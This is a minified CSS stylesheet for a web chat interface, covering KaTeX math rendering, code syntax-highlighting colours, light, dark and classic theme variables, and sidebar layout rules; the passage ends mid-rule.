.hbox{width:100%}.katex .hbox,.katex .thinbox{display:inline-flex;flex-direction:row}.katex .thinbox{max-width:0;width:0}.katex .msupsub{text-align:left}.katex .mfrac>span>span{text-align:center}.katex .mfrac .frac-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline,.katex .hline,.katex .mfrac .frac-line,.katex .overline .overline-line,.katex .rule,.katex .underline .underline-line{min-height:1px}.katex .mspace{display:inline-block}.katex .smash{display:inline;line-height:0}.katex .clap,.katex .llap,.katex .rlap{position:relative;width:0}.katex .clap>.inner,.katex .llap>.inner,.katex .rlap>.inner{position:absolute}.katex .clap>.fix,.katex .llap>.fix,.katex .rlap>.fix{display:inline-block}.katex .llap>.inner{right:0}.katex .clap>.inner,.katex .rlap>.inner{left:0}.katex .clap>.inner>span{margin-left:-50%;margin-right:50%}.katex .rule{border:0 solid;display:inline-block;position:relative}.katex .hline,.katex .overline .overline-line,.katex .underline .underline-line{border-bottom-style:solid;display:inline-block;width:100%}.katex .hdashline{border-bottom-style:dashed;display:inline-block;width:100%}.katex .sqrt>.root{margin-left:.2777777778em;margin-right:-.5555555556em}.katex .fontsize-ensurer.reset-size1.size1,.katex .sizing.reset-size1.size1{font-size:1em}.katex .fontsize-ensurer.reset-size1.size2,.katex .sizing.reset-size1.size2{font-size:1.2em}.katex .fontsize-ensurer.reset-size1.size3,.katex .sizing.reset-size1.size3{font-size:1.4em}.katex .fontsize-ensurer.reset-size1.size4,.katex .sizing.reset-size1.size4{font-size:1.6em}.katex .fontsize-ensurer.reset-size1.size5,.katex .sizing.reset-size1.size5{font-size:1.8em}.katex .fontsize-ensurer.reset-size1.size6,.katex .sizing.reset-size1.size6{font-size:2em}.katex .fontsize-ensurer.reset-size1.size7,.katex .sizing.reset-size1.size7{font-size:2.4em}.katex .fontsize-ensurer.reset-size1.size8,.katex .sizing.reset-size1.size8{font-size:2.88em}.katex .fontsize-ensurer.reset-size1.size9,.katex .sizing.reset-size1.size9{font-size:3.456em}.katex .fontsize-ensurer.reset-size1.size10,.katex .sizing.reset-size1.size10{font-size:4.148em}.katex .fontsize-ensurer.reset-size1.size11,.katex .sizing.reset-size1.size11{font-size:4.976em}.katex .fontsize-ensurer.reset-size2.size1,.katex .sizing.reset-size2.size1{font-size:.8333333333em}.katex .fontsize-ensurer.reset-size2.size2,.katex .sizing.reset-size2.size2{font-size:1em}.katex .fontsize-ensurer.reset-size2.size3,.katex .sizing.reset-size2.size3{font-size:1.1666666667em}.katex .fontsize-ensurer.reset-size2.size4,.katex .sizing.reset-size2.size4{font-size:1.3333333333em}.katex .fontsize-ensurer.reset-size2.size5,.katex .sizing.reset-size2.size5{font-size:1.5em}.katex .fontsize-ensurer.reset-size2.size6,.katex .sizing.reset-size2.size6{font-size:1.6666666667em}.katex .fontsize-ensurer.reset-size2.size7,.katex .sizing.reset-size2.size7{font-size:2em}.katex .fontsize-ensurer.reset-size2.size8,.katex .sizing.reset-size2.size8{font-size:2.4em}.katex .fontsize-ensurer.reset-size2.size9,.katex .sizing.reset-size2.size9{font-size:2.88em}.katex .fontsize-ensurer.reset-size2.size10,.katex .sizing.reset-size2.size10{font-size:3.4566666667em}.katex .fontsize-ensurer.reset-size2.size11,.katex .sizing.reset-size2.size11{font-size:4.1466666667em}.katex .fontsize-ensurer.reset-size3.size1,.katex .sizing.reset-size3.size1{font-size:.7142857143em}.katex .fontsize-ensurer.reset-size3.size2,.katex .sizing.reset-size3.size2{font-size:.8571428571em}.katex .fontsize-ensurer.reset-size3.size3,.katex .sizing.reset-size3.size3{font-size:1em}.katex .fontsize-ensurer.reset-size3.size4,.katex .sizing.reset-size3.size4{font-size:1.1428571429em}.katex .fontsize-ensurer.reset-size3.size5,.katex .sizing.reset-size3.size5{font-size:1.2857142857em}.katex .fontsize-ensurer.reset-size3.size6,.katex .sizing.reset-size3.size6{font-size:1.4285714286em}.katex .fontsize-ensurer.reset-size3.size7,.katex .sizing.reset-size3.size7{font-size:1.7142857143em}.katex .fontsize-ensurer.reset-size3.size8,.katex .sizing.reset-size3.size8{font-size:2.0571428571em}.katex .fontsize-ensurer.reset-size3.size9,.katex .sizing.reset-size3.size9{font-size:2.4685714286em}.katex .fontsize-ensurer.reset-size3.size10,.katex .sizing.reset-size3.size10{font-size:2.9628571429em}.katex .fontsize-ensurer.reset-size3.size11,.katex .sizing.reset-size3.size11{font-size:3.5542857143em}.katex .fontsize-ensurer.reset-size4.size1,.katex .sizing.reset-size4.size1{font-size:.625em}.katex .fontsize-ensurer.reset-size4.size2,.katex .sizing.reset-size4.size2{font-size:.75em}.katex .fontsize-ensurer.reset-size4.size3,.katex .sizing.reset-size4.size3{font-size:.875em}.katex .fontsize-ensurer.reset-size4.size4,.katex .sizing.reset-size4.size4{font-size:1em}.katex .fontsize-ensurer.reset-size4.size5,.katex .sizing.reset-size4.size5{font-size:1.125em}.katex .fontsize-ensurer.reset-size4.size6,.katex .sizing.reset-size4.size6{font-size:1.25em}.katex .fontsize-ensurer.reset-size4.size7,.katex .sizing.reset-size4.size7{font-size:1.5em}.katex .fontsize-ensurer.reset-size4.size8,.katex .sizing.reset-size4.size8{font-size:1.8em}.katex .fontsize-ensurer.reset-size4.size9,.katex .sizing.reset-size4.size9{font-size:2.16em}.katex .fontsize-ensurer.reset-size4.size10,.katex .sizing.reset-size4.size10{font-size:2.5925em}.katex .fontsize-ensurer.reset-size4.size11,.katex .sizing.reset-size4.size11{font-size:3.11em}.katex .fontsize-ensurer.reset-size5.size1,.katex .sizing.reset-size5.size1{font-size:.5555555556em}.katex .fontsize-ensurer.reset-size5.size2,.katex .sizing.reset-size5.size2{font-size:.6666666667em}.katex .fontsize-ensurer.reset-size5.size3,.katex .sizing.reset-size5.size3{font-size:.7777777778em}.katex .fontsize-ensurer.reset-size5.size4,.katex .sizing.reset-size5.size4{font-size:.8888888889em}.katex .fontsize-ensurer.reset-size5.size5,.katex .sizing.reset-size5.size5{font-size:1em}.katex .fontsize-ensurer.reset-size5.size6,.katex .sizing.reset-size5.size6{font-size:1.1111111111em}.katex .fontsize-ensurer.reset-size5.size7,.katex .sizing.reset-size5.size7{font-size:1.3333333333em}.katex .fontsize-ensurer.reset-size5.size8,.katex .sizing.reset-size5.size8{font-size:1.6em}.katex .fontsize-ensurer.reset-size5.size9,.katex .sizing.reset-size5.size9{font-size:1.92em}.katex .fontsize-ensurer.reset-size5.size10,.katex .sizing.reset-size5.size10{font-size:2.3044444444em}.katex .fontsize-ensurer.reset-size5.size11,.katex .sizing.reset-size5.size11{font-size:2.7644444444em}.katex .fontsize-ensurer.reset-size6.size1,.katex .sizing.reset-size6.size1{font-size:.5em}.katex .fontsize-ensurer.reset-size6.size2,.katex .sizing.reset-size6.size2{font-size:.6em}.katex .fontsize-ensurer.reset-size6.size3,.katex .sizing.reset-size6.size3{font-size:.7em}.katex .fontsize-ensurer.reset-size6.size4,.katex .sizing.reset-size6.size4{font-size:.8em}.katex .fontsize-ensurer.reset-size6.size5,.katex .sizing.reset-size6.size5{font-size:.9em}.katex .fontsize-ensurer.reset-size6.size6,.katex .sizing.reset-size6.size6{font-size:1em}.katex .fontsize-ensurer.reset-size6.size7,.katex .sizing.reset-size6.size7{font-size:1.2em}.katex .fontsize-ensurer.reset-size6.size8,.katex .sizing.reset-size6.size8{font-size:1.44em}.katex .fontsize-ensurer.reset-size6.size9,.katex .sizing.reset-size6.size9{font-size:1.728em}.katex .fontsize-ensurer.reset-size6.size10,.katex .sizing.reset-size6.size10{font-size:2.074em}.katex .fontsize-ensurer.reset-size6.size11,.katex .sizing.reset-size6.size11{font-size:2.488em}.katex .fontsize-ensurer.reset-size7.size1,.katex .sizing.reset-size7.size1{font-size:.4166666667em}.katex .fontsize-ensurer.reset-size7.size2,.katex .sizing.reset-size7.size2{font-size:.5em}.katex .fontsize-ensurer.reset-size7.size3,.katex .sizing.reset-size7.size3{font-size:.5833333333em}.katex .fontsize-ensurer.reset-size7.size4,.katex .sizing.reset-size7.size4{font-size:.6666666667em}.katex .fontsize-ensurer.reset-size7.size5,.katex .sizing.reset-size7.size5{font-size:.75em}.katex .fontsize-ensurer.reset-size7.size6,.katex .sizing.reset-size7.size6{font-size:.8333333333em}.katex .fontsize-ensurer.reset-size7.size7,.katex .sizing.reset-size7.size7{font-size:1em}.katex .fontsize-ensurer.reset-size7.size8,.katex .sizing.reset-size7.size8{font-size:1.2em}.katex .fontsize-ensurer.reset-size7.size9,.katex .sizing.reset-size7.size9{font-size:1.44em}.katex .fontsize-ensurer.reset-size7.size10,.katex .sizing.reset-size7.size10{font-size:1.7283333333em}.katex .fontsize-ensurer.reset-size7.size11,.katex .sizing.reset-size7.size11{font-size:2.0733333333em}.katex .fontsize-ensurer.reset-size8.size1,.katex .sizing.reset-size8.size1{font-size:.3472222222em}.katex .fontsize-ensurer.reset-size8.size2,.katex .sizing.reset-size8.size2{font-size:.4166666667em}.katex .fontsize-ensurer.reset-size8.size3,.katex .sizing.reset-size8.size3{font-size:.4861111111em}.katex .fontsize-ensurer.reset-size8.size4,.katex .sizing.reset-size8.size4{font-size:.5555555556em}.katex .fontsize-ensurer.reset-size8.size5,.katex .sizing.reset-size8.size5{font-size:.625em}.katex .fontsize-ensurer.reset-size8.size6,.katex .sizing.reset-size8.size6{font-size:.6944444444em}.katex .fontsize-ensurer.reset-size8.size7,.katex .sizing.reset-size8.size7{font-size:.8333333333em}.katex .fontsize-ensurer.reset-size8.size8,.katex .sizing.reset-size8.size8{font-size:1em}.katex .fontsize-ensurer.reset-size8.size9,.katex .sizing.reset-size8.size9{font-size:1.2em}.katex .fontsize-ensurer.reset-size8.size10,.katex .sizing.reset-size8.size10{font-size:1.4402777778em}.katex .fontsize-ensurer.reset-size8.size11,.katex .sizing.reset-size8.size11{font-size:1.7277777778em}.katex .fontsize-ensurer.reset-size9.size1,.katex .sizing.reset-size9.size1{font-size:.2893518519em}.katex .fontsize-ensurer.reset-size9.size2,.katex .sizing.reset-size9.size2{font-size:.3472222222em}.katex .fontsize-ensurer.reset-size9.size3,.katex .sizing.reset-size9.size3{font-size:.4050925926em}.katex .fontsize-ensurer.reset-size9.size4,.katex .sizing.reset-size9.size4{font-size:.462962963em}.katex .fontsize-ensurer.reset-size9.size5,.katex .sizing.reset-size9.size5{font-size:.5208333333em}.katex .fontsize-ensurer.reset-size9.size6,.katex .sizing.reset-size9.size6{font-size:.5787037037em}.katex .fontsize-ensurer.reset-size9.size7,.katex .sizing.reset-size9.size7{font-size:.6944444444em}.katex .fontsize-ensurer.reset-size9.size8,.katex .sizing.reset-size9.size8{font-size:.8333333333em}.katex .fontsize-ensurer.reset-size9.size9,.katex .sizing.reset-size9.size9{font-size:1em}.katex .fontsize-ensurer.reset-size9.size10,.katex .sizing.reset-size9.size10{font-size:1.2002314815em}.katex .fontsize-ensurer.reset-size9.size11,.katex .sizing.reset-size9.size11{font-size:1.4398148148em}.katex .fontsize-ensurer.reset-size10.size1,.katex .sizing.reset-size10.size1{font-size:.2410800386em}.katex .fontsize-ensurer.reset-size10.size2,.katex .sizing.reset-size10.size2{font-size:.2892960463em}.katex .fontsize-ensurer.reset-size10.size3,.katex .sizing.reset-size10.size3{font-size:.337512054em}.katex .fontsize-ensurer.reset-size10.size4,.katex .sizing.reset-size10.size4{font-size:.3857280617em}.katex .fontsize-ensurer.reset-size10.size5,.katex .sizing.reset-size10.size5{font-size:.4339440694em}.katex .fontsize-ensurer.reset-size10.size6,.katex .sizing.reset-size10.size6{font-size:.4821600771em}.katex .fontsize-ensurer.reset-size10.size7,.katex .sizing.reset-size10.size7{font-size:.5785920926em}.katex .fontsize-ensurer.reset-size10.size8,.katex .sizing.reset-size10.size8{font-size:.6943105111em}.katex .fontsize-ensurer.reset-size10.size9,.katex .sizing.reset-size10.size9{font-size:.8331726133em}.katex .fontsize-ensurer.reset-size10.size10,.katex .sizing.reset-size10.size10{font-size:1em}.katex .fontsize-ensurer.reset-size10.size11,.katex .sizing.reset-size10.size11{font-size:1.1996142719em}.katex .fontsize-ensurer.reset-size11.size1,.katex .sizing.reset-size11.size1{font-size:.2009646302em}.katex .fontsize-ensurer.reset-size11.size2,.katex .sizing.reset-size11.size2{font-size:.2411575563em}.katex .fontsize-ensurer.reset-size11.size3,.katex .sizing.reset-size11.size3{font-size:.2813504823em}.katex .fontsize-ensurer.reset-size11.size4,.katex .sizing.reset-size11.size4{font-size:.3215434084em}.katex .fontsize-ensurer.reset-size11.size5,.katex .sizing.reset-size11.size5{font-size:.3617363344em}.katex .fontsize-ensurer.reset-size11.size6,.katex .sizing.reset-size11.size6{font-size:.4019292605em}.katex .fontsize-ensurer.reset-size11.size7,.katex .sizing.reset-size11.size7{font-size:.4823151125em}.katex .fontsize-ensurer.reset-size11.size8,.katex .sizing.reset-size11.size8{font-size:.578778135em}.katex .fontsize-ensurer.reset-size11.size9,.katex .sizing.reset-size11.size9{font-size:.6945337621em}.katex .fontsize-ensurer.reset-size11.size10,.katex .sizing.reset-size11.size10{font-size:.8336012862em}.katex .fontsize-ensurer.reset-size11.size11,.katex .sizing.reset-size11.size11{font-size:1em}.katex .delimsizing.size1{font-family:KaTeX_Size1}.katex .delimsizing.size2{font-family:KaTeX_Size2}.katex .delimsizing.size3{font-family:KaTeX_Size3}.katex .delimsizing.size4{font-family:KaTeX_Size4}.katex .delimsizing.mult .delim-size1>span{font-family:KaTeX_Size1}.katex .delimsizing.mult .delim-size4>span{font-family:KaTeX_Size4}.katex .nulldelimiter{display:inline-block;width:.12em}.katex .delimcenter,.katex .op-symbol{position:relative}.katex .op-symbol.small-op{font-family:KaTeX_Size1}.katex .op-symbol.large-op{font-family:KaTeX_Size2}.katex .accent>.vlist-t,.katex .op-limits>.vlist-t{text-align:center}.katex .accent .accent-body{position:relative}.katex .accent .accent-body:not(.accent-full){width:0}.katex .overlay{display:block}.katex .mtable .vertical-separator{display:inline-block;min-width:1px}.katex .mtable .arraycolsep{display:inline-block}.katex .mtable .col-align-c>.vlist-t{text-align:center}.katex .mtable .col-align-l>.vlist-t{text-align:left}.katex .mtable .col-align-r>.vlist-t{text-align:right}.katex .svg-align{text-align:left}.katex svg{fill:currentColor;stroke:currentColor;display:block;height:inherit;position:absolute;width:100%}.katex svg path{stroke:none}.katex svg{fill-rule:nonzero;fill-opacity:1;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1}.katex img{border-style:none;max-height:none;max-width:none;min-height:0;min-width:0}.katex .stretchy{display:block;overflow:hidden;position:relative;width:100%}.katex .stretchy:after,.katex .stretchy:before{content:""}.katex .hide-tail{overflow:hidden;position:relative;width:100%}.katex .halfarrow-left{left:0;overflow:hidden;position:absolute;width:50.2%}.katex .halfarrow-right{overflow:hidden;position:absolute;right:0;width:50.2%}.katex .brace-left{left:0;overflow:hidden;position:absolute;width:25.1%}.katex .brace-center{left:25%;overflow:hidden;position:absolute;width:50%}.katex .brace-right{overflow:hidden;position:absolute;right:0;width:25.1%}.katex .x-arrow-pad{padding:0 .5em}.katex .cd-arrow-pad{padding:0 .55556em 0 .27778em}.katex .mover,.katex .munder,.katex .x-arrow{text-align:center}.katex .boxpad{padding:0 .3em}.katex .fbox,.katex .fcolorbox{border:.04em solid;box-sizing:border-box}.katex .cancel-pad{padding:0 .2em}.katex .cancel-lap{margin-left:-.2em;margin-right:-.2em}.katex .sout{border-bottom-style:solid;border-bottom-width:.08em}.katex .angl{border-right:.049em solid;border-top:.049em solid;box-sizing:border-box;margin-right:.03889em}.katex .anglpad{padding:0 .03889em}.katex .eqn-num:before{content:"(" counter(katexEqnNo) ")";counter-increment:katexEqnNo}.katex .mml-eqn-num:before{content:"(" counter(mmlEqnNo) ")";counter-increment:mmlEqnNo}.katex .mtr-glue{width:50%}.katex .cd-vert-arrow{display:inline-block;position:relative}.katex .cd-label-left{display:inline-block;position:absolute;right:calc(50% + .3em);text-align:left}.katex .cd-label-right{display:inline-block;left:calc(50% + .3em);position:absolute;text-align:right}.katex-display{display:block;margin:1em 0;text-align:center}.katex-display>.katex{display:block;text-align:center;white-space:nowrap}.katex-display>.katex>.katex-html{display:block;position:relative}.katex-display>.katex>.katex-html>.tag{position:absolute;right:0}.katex-display.leqno>.katex>.katex-html>.tag{left:0;right:auto}.katex-display.fleqn>.katex{padding-left:2em;text-align:left}body{counter-reset:katexEqnNo mmlEqnNo}code[class*=language-],pre[class*=language-]{color:#000;background:none;text-shadow:0 1px white;font-family:Consolas,Monaco,Andale Mono,Ubuntu Mono,monospace;font-size:1em;text-align:left;white-space:pre;word-spacing:normal;word-break:normal;word-wrap:normal;line-height:1.5;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-hyphens:none;-moz-hyphens:none;-ms-hyphens:none;hyphens:none}pre[class*=language-]::-moz-selection,pre[class*=language-] ::-moz-selection,code[class*=language-]::-moz-selection,code[class*=language-] ::-moz-selection{text-shadow:none;background:#b3d4fc}pre[class*=language-]::selection,pre[class*=language-] ::selection,code[class*=language-]::selection,code[class*=language-] ::selection{text-shadow:none;background:#b3d4fc}@media print{code[class*=language-],pre[class*=language-]{text-shadow:none}}pre[class*=language-]{padding:1em;margin:.5em 0;overflow:auto}:not(pre)>code[class*=language-],pre[class*=language-]{background:#f5f2f0}:not(pre)>code[class*=language-]{padding:.1em;border-radius:.3em;white-space:normal}.token.comment,.token.prolog,.token.doctype,.token.cdata{color:#708090}.token.punctuation{color:#999}.token.namespace{opacity:.7}.token.property,.token.tag,.token.boolean,.token.number,.token.constant,.token.symbol,.token.deleted{color:#905}.token.selector,.token.attr-name,.token.string,.token.char,.token.builtin,.token.inserted{color:#690}.token.operator,.token.entity,.token.url,.language-css .token.string,.style .token.string{color:#9a6e3a;background:#ffffff80}.token.atrule,.token.attr-value,.token.keyword{color:#07a}.token.function,.token.class-name{color:#dd4a68}.token.regex,.token.important,.token.variable{color:#e90}.token.important,.token.bold{font-weight:700}.token.italic{font-style:italic}.token.entity{cursor:help}*{margin:0;padding:0;box-sizing:border-box}:root{color-scheme:light;--app-viewport: 100vh;--app-bottom-inset: env(safe-area-inset-bottom, 0px);--mac-close: #ff5f57;--mac-close-hover: #ff3b30;--mac-close-border: #e0443e;--text-shadow-legible: rgba(0, 0, 0, .8);--decorative-gold: #ffd700;--decorative-pink: #ff69b4;--glass-tint-blue: rgba(104, 147, 255, .2);--glass-tint-blue-soft: rgba(128, 183, 255, .18);--glass-tint-blue-mid: rgba(140, 180, 255, .35);--glass-tint-amber: rgba(255, 200, 150, .22);--glass-base-deep: rgba(28, 27, 41, .95);--glass-shadow-deep: rgba(24, 20, 37, .45);--progress-track: rgba(127, 135, 146, .28);--drag-preview-shadow: rgba(0, 0, 0, .35);--lightbox-text: #ffffff;--lightbox-btn-bg: rgba(0, 0, 0, .45);--lightbox-btn-bg-hover: rgba(0, 0, 0, .65);--file-kind-word: #5b7fc4;--file-kind-excel: #529658;--file-kind-ppt: #c9734b;--file-kind-pdf: #c25e52;--file-kind-text: #71808f;--file-kind-code: #8a6fc0;--file-kind-archive: #a08255;--file-kind-generic: #8b887f;--effort-low: #f5c542;--effort-medium: #3fd07c;--effort-high: #4f8ef7;--effort-xhigh: #a55df0;--effort-xhigh-shine: rgba(255, 255, 255, .55);--effort-max-red: #ff3b5c;--effort-max-orange: #ff9f2e;--effort-max-yellow: #ffe93b;--effort-max-green: #3ddc68;--effort-max-cyan: #2fd4ff;--effort-max-purple: #7a5cff;--effort-max-pink: #ff4fd8;--effort-knob-bg: #ffffff;--effort-knob-shadow: rgba(0, 0, 0, .28);--effort-dot-covered: rgba(255, 255, 255, .55);--effort-dot-uncovered: rgba(0, 0, 0, .28);--theme-surface-card: var(--surface-card);--theme-surface-strong: var(--surface-raised);--theme-surface-soft: var(--surface-soft);--theme-surface-muted: var(--surface-muted);--theme-card-border-strong: var(--border-card-strong);--theme-chip-border: var(--chip-border);--theme-tab-active: var(--tab-active);--theme-chip-bg: var(--chip-bg);--theme-badge-bg: var(--badge-bg);--theme-switch-track: var(--switch-track);--theme-shadow-soft: var(--shadow-soft);--theme-shadow-mid: var(--shadow-mid);--theme-shadow-strong: var(--shadow-strong);--theme-overlay-scrim: var(--overlay-scrim);--theme-mobile-menu: var(--mobile-menu);--theme-mobile-menu-shadow: var(--mobile-menu-shadow);--git-diff-add-text: var(--diff-add-text);--git-diff-del-text: var(--diff-del-text);--theme-control-border: var(--border-default);--theme-control-border-strong: var(--border-strong)}:root[data-theme=classic]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=light]{color-scheme:light;--effort-track-bg: var(--surface-muted);--surface-base: #ffffff;--surface-panel: #ffffff;--surface-rail: #f9f9f9;--surface-sidebar: #f9f9f9;--surface-card: #ffffff;--surface-raised: #ffffff;--surface-soft: #f9f9f9;--surface-muted: #f3f3f3;--text-primary: #0d0d0d;--text-secondary: #5d5d5d;--text-tertiary: #8f8f8f;--text-muted: rgba(13, 13, 13, .35);--border-default: rgba(13, 13, 13, .1);--border-strong: rgba(13, 13, 13, .15);--border-card-strong: rgba(13, 13, 13, .1);--chip-border: rgba(13, 13, 13, .05);--accent: #181818;--accent-strong: #181818;--accent-hover: #303030;--accent-active: #414141;--accent-deep: #5d5d5d;--accent-deep-strong: #414141;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #0285ff;--highlight: rgba(13, 13, 13, .05);--tab-active: rgba(13, 13, 13, .05);--chip-bg: #f3f3f3;--badge-bg: #f3f3f3;--switch-track: #ececec;--hover-bg: rgba(13, 13, 13, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 1px 2px rgba(0, 0, 0, .05);--shadow-soft: 0 1px 2px rgba(0, 0, 0, .05);--shadow-mid: 0 1px 3px rgba(0, 0, 0, .06);--shadow-strong: 0 2px 4px rgba(0, 0, 0, .08);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(0, 0, 0, .5);--mobile-menu: #ffffff;--mobile-menu-shadow: 0 2px 8px rgba(0, 0, 0, .08);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root[data-theme=dark]{color-scheme:dark;--effort-track-bg: #3a3a3c;--surface-base: #1a1a1a;--surface-panel: #1a1a1a;--surface-rail: #181818;--surface-sidebar: #181818;--surface-card: #262626;--surface-raised: #1a1a1a;--surface-soft: #212121;--surface-muted: #2b2b2b;--text-primary: #ffffff;--text-secondary: #a0a0a0;--text-tertiary: #707070;--text-muted: rgba(255, 255, 255, .3);--border-default: rgba(255, 255, 255, .08);--border-strong: rgba(255, 255, 255, .12);--border-card-strong: rgba(255, 255, 255, .1);--chip-border: rgba(255, 255, 255, .08);--accent: #606060;--accent-strong: #505050;--accent-hover: #707070;--accent-active: #505050;--accent-deep: #808080;--accent-deep-strong: #606060;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #e34d4d;--state-info: #60a5fa;--highlight: rgba(255, 255, 255, .05);--tab-active: rgba(255, 255, 255, .05);--chip-bg: #2a2a2a;--badge-bg: #2a2a2a;--switch-track: #2a2a2a;--hover-bg: rgba(255, 255, 255, .06);--pulse-ring: rgba(255, 255, 255, .1);--shadow-card: 0 2px 8px rgba(0, 0, 0, .5);--shadow-soft: 0 2px 6px rgba(0, 0, 0, .4);--shadow-mid: 0 3px 8px rgba(0, 0, 0, .5);--shadow-strong: 0 4px 12px rgba(0, 0, 0, .6);--shadow-color: rgba(0, 0, 0, .4);--overlay-scrim: rgba(0, 0, 0, .8);--mobile-menu: rgba(10, 10, 10, .95);--mobile-menu-shadow: 0 4px 12px rgba(0, 0, 0, .6);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}:root:not([data-theme]){--effort-track-bg: var(--surface-muted);--surface-base: #faf9f5;--surface-panel: #faf9f5;--surface-rail: #f5f0e8;--surface-sidebar: #f5f0e8;--surface-card: #efe9de;--surface-raised: #ffffff;--surface-soft: #f5f0e8;--surface-muted: #e8e0d2;--text-primary: #141413;--text-secondary: #3d3d3a;--text-tertiary: #6c6a64;--text-muted: rgba(108, 106, 100, .55);--border-default: #e6dfd8;--border-strong: #d8cfc4;--border-card-strong: #e6dfd8;--chip-border: #ebe6df;--accent: #cc785c;--accent-strong: #a9583e;--accent-hover: #bd6a4f;--accent-active: #a9583e;--accent-deep: #6c6a64;--accent-deep-strong: #3d3d3a;--on-accent: #ffffff;--state-success: #10b981;--state-warning: #f59e0b;--state-danger: #dc2626;--state-danger-strong: #b91c1c;--status-offline: #dc2626;--state-info: #5db8a6;--highlight: rgba(20, 20, 19, .05);--tab-active: rgba(20, 20, 19, .07);--chip-bg: #f5f0e8;--badge-bg: #efe9de;--switch-track: #d8cfc4;--hover-bg: rgba(20, 20, 19, .05);--pulse-ring: rgba(0, 0, 0, .1);--shadow-card: 0 14px 36px rgba(61, 57, 41, .12);--shadow-soft: 0 12px 24px rgba(38, 28, 18, .12);--shadow-mid: 0 20px 45px rgba(16, 24, 40, .08);--shadow-strong: 0 28px 60px rgba(38, 28, 18, .25);--shadow-color: rgba(0, 0, 0, .1);--overlay-scrim: rgba(33, 24, 14, .55);--mobile-menu: #f5f0e8;--mobile-menu-shadow: 0 12px 30px rgba(38, 28, 18, .15);--diff-add-text: #00e000;--diff-del-text: #ff1a1a;--diff-add-bg: rgba(22, 163, 74, .12);--diff-del-bg: rgba(220, 38, 38, .12)}html,body{height:var(--app-viewport)}body{font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,Times,serif;background:var(--surface-base);color:var(--text-primary);overflow:hidden;-webkit-font-smoothing:antialiased}button,input,textarea,select{font-family:SF Pro Text,Helvetica Neue,ui-sans-serif,system-ui,-apple-system,sans-serif}body[data-theme=dark]{background:var(--surface-base);color:var(--text-primary)}html,body,*{-webkit-tap-highlight-color:transparent}.icon{--icon-size: 1em;width:var(--icon-size);height:var(--icon-size);display:inline-block;vertical-align:middle;background-color:currentColor;mask-image:var(--icon-src);mask-repeat:no-repeat;mask-position:center;mask-size:contain;-webkit-mask-image:var(--icon-src);-webkit-mask-repeat:no-repeat;-webkit-mask-position:center;-webkit-mask-size:contain}.icon-sm{--icon-size: 16px}.icon-md{--icon-size: 20px}.icon-lg{--icon-size: 24px}.icon-xl{--icon-size: 32px}.icon-label{display:inline-flex;align-items:center;gap:6px}.token.operator,.token.entity,.token.url,.language-css .token.string,.style .token.string{background:none}.main-container{position:relative;display:flex;flex-direction:row;height:var(--app-viewport);align-items:stretch;background:var(--surface-base);color:var(--text-primary)}#app{min-height:var(--app-viewport);background:var(--surface-base)}.conversation-sidebar{--conversation-collapsed-width: 44px;--conversation-expanded-width: 306px;--conversation-icon-cell: 32px;--conversation-row-height: 32px;position:relative;flex-shrink:0;width:var(--conversation-expanded-width);height:var(--app-viewport)!important;min-height:var(--app-viewport)!important;overflow:hidden;background:var(--surface-rail);border-right:0;color:var(--text-primary);transition:width .32s cubic-bezier(.22,1,.36,1)}.conversation-sidebar:after{content:"";position:absolute;top:0;right:0;bottom:0;width:1px;pointer-events:none;opacity:1;background:var(--border-default);transition:opacity .32s cubic-bezier(.22,1,.36,1)}.conversation-sidebar.collapsed{width:var(--conversation-collapsed-width)}.conversation-sidebar.collapsed:after{opacity:0}.conversation-sidebar-inner{width:var(--conversation-expanded-width);height:100%;display:flex;flex-direction:column;padding:12px 6px 10px;background:inherit}.conversation-primary-actions{display:flex;flex-direction:column;gap:2px;flex:0 0 auto}.sidebar-nav-row,.search-input-wrap,.conversation-sidebar .conversation-item{width:100%;min-height:var(--conversation-row-height);border:0;border-radius:8px;background:transparent;color:var(--text-primary);display:grid;align-items:center}.sidebar-nav-row{grid-template-columns:var(--conversation-icon-cell) 